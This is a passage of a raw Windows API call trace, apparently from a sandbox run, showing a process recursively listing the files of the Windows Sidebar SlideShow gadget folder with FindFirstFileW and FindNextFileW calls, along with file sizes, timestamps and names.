ftCreationTime.dwLowDateTime=0x84eeaa58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84eeaa58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf0d35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_floating.png", cAlternateFileName="")) returned 1 [0209.133] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eeaa58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84eeaa58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf0d35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_flyout.png", cAlternateFileName="")) returned 1 [0209.133] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eeaa58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84eeaa58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf0d35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_flyout.png", cAlternateFileName="")) returned 0 [0209.133] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0209.134] GetProcessHeap () returned 0x550000 [0209.134] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0209.134] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cff1b93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0209.134] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cff1b93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0209.134] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0209.135] GetProcessHeap () returned 0x550000 [0209.135] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0209.135] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlideShow.Gadget", cAlternateFileName="SLIDES~1.GAD")) returned 1 [0209.135] GetProcessHeap () returned 0x550000 [0209.135] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0209.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0209.240] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.240] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d3f607d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0209.240] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0209.241] GetProcessHeap () returned 0x550000 [0209.241] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0209.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0209.241] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.241] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0209.241] GetProcessHeap () returned 0x550000 [0209.241] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0209.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0209.241] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.242] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0209.242] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x11b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.css", cAlternateFileName="")) returned 1 [0209.242] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x11b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.css", cAlternateFileName="")) returned 0 [0209.242] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0209.242] GetProcessHeap () returned 0x550000 [0209.242] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0209.242] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0209.243] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0209.243] GetProcessHeap () returned 0x550000 [0209.243] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0209.243] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0209.243] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.243] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 1 [0209.243] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 0 [0209.243] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0209.244] GetProcessHeap () returned 0x550000 [0209.244] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0209.244] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1910, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0209.244] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 1 [0209.244] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 0 [0209.244] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0209.244] GetProcessHeap () returned 0x550000 [0209.245] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0209.245] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d442339, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d442339, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d442339, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2732, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0209.245] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0209.245] GetProcessHeap () returned 0x550000 [0209.245] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0209.245] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0209.249] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.250] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b43b7f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b43b7f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d468497, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 1 [0209.250] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="in_sidebar", cAlternateFileName="IN_SID~1")) returned 1 [0209.250] GetProcessHeap () returned 0x550000 [0209.250] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0209.250] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0209.250] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.250] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5e5243, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d5e5243, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d5e5243, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_sidebar.png", cAlternateFileName="")) returned 1 [0209.250] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85af78c5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85af78c5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d761fef, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0209.250] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85af78c5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85af78c5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d761fef, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 0 [0209.251] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0209.251] GetProcessHeap () returned 0x550000 [0209.251] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0209.251] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d78814d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d78814d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d78814d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_down.png", cAlternateFileName="")) returned 1 [0209.251] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85a854ae, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85a854ae, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d78814d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_hov.png", cAlternateFileName="")) returned 1 [0209.251] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85aab60b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85aab60b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d9c35cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_rest.png", cAlternateFileName="")) returned 1 [0209.251] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="on_desktop", cAlternateFileName="ON_DES~1")) returned 1 [0209.251] GetProcessHeap () returned 0x550000 [0209.251] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0209.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, 